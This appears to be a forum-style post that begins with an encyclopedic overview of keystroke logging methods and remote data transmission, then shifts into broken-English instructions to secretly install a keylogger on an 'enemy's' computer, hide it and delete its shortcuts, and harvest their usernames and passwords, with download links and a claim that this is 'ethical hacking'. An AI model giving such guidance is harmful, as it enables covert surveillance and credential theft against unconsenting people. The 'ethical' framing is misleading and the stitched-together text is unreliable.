Keystroke logging

Keystroke logging (often called keylogging) is the practice of noting (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. There are numerous keylogging methods, ranging from hardware- and software-based to electromagnetic and acoustic analysis.

Software-based keyloggers

Hypervisor-based
Kernel based
Hook based
Passive Methods

Remote access software keyloggers

These are local software keyloggers programmed with an added feature to transmit recorded data out of the target computer and make the data available to the monitor at a remote location. Remote communication is facilitated by one of four methods:

* Data is uploaded to a website or an ftp account.
* Data is periodically emailed to a pre-defined email address.
* Data is wirelessly transmitted by means of an attached hardware system.
* It allows the monitor to log into the local machine via the internet or ethernet and access the logs stored on the target machine.

the most special case is we can found user name & pass words in your enemy. just simply install this software for your enemy's computer and delete shortcuts & hide the software after he login the computer the he start typing something all r save in note pad with time.

http://download.cnet.com/Free-KGB-Key-Logger/3000-2162_4-10357898.html
http://www.brothersoft.com/downloads/keylogger.html

(just copy this link and paset your browser)
installation manuals with this.
now u can hack some one password easy.
but dont do stupid thigs this all working r called ethical hacking.
try out yourself.